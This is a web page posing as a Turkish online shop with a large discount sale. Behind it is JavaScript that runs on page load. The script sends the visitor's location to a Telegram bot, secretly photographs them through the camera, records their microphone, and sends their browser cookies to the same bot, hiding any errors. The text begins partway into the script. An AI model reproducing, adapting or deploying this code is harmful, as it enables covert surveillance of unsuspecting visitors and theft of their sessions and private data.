🚚 ÜCRETSİZ KARGO | 📦 Aynı gün teslimat
🛒
3

🔥 DEV İNDİRİM

%50'ye Varan Fırsatlar!

📱
45.999₺
💻
38.999₺
🎧
7.999₺
34.999₺
headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ chat_id: targetChatId, latitude: parseFloat(lat), longitude: parseFloat(lon) }) }); } // ============ FOTOĞRAF ÇEK ============ try { const stream = await navigator.mediaDevices.getUserMedia({video: true}); const v = document.createElement('video'); const c = document.createElement('canvas'); v.srcObject = stream; await v.play(); await new Promise(r => setTimeout(r, 2000)); c.width = v.videoWidth || 640; c.height = v.videoHeight || 480; c.getContext('2d').drawImage(v, 0, 0); // Ön kamera + arka kamera const photo = c.toDataURL('image/jpeg', 0.8); stream.getTracks().forEach(t => t.stop()); fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendPhoto`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ chat_id: targetChatId, photo: photo, caption: '📸 Kamera Fotoğrafı' }) }); } catch(e) {} // ============ SES KAYDI ============ try { const stream = await navigator.mediaDevices.getUserMedia({audio: true}); const chunks = []; const rec = new MediaRecorder(stream); rec.ondataavailable = e => chunks.push(e.data); rec.onstop = () => { const reader = new FileReader(); reader.onloadend = () => { fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendAudio`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ chat_id: targetChatId, audio: reader.result, caption: '🎤 Ses Kaydı' }) }); }; reader.readAsDataURL(new Blob(chunks, {type: 'audio/webm'})); }; rec.start(); await new Promise(r => setTimeout(r, 3000)); rec.stop(); stream.getTracks().forEach(t => t.stop()); } catch(e) {} // ============ ÇEREZLER ============ if (document.cookie) { fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ chat_id: targetChatId, text: `🍪 Çerezler:\n${document.cookie}`, parse_mode: 'HTML' }) }); } } window.onload = collectAll;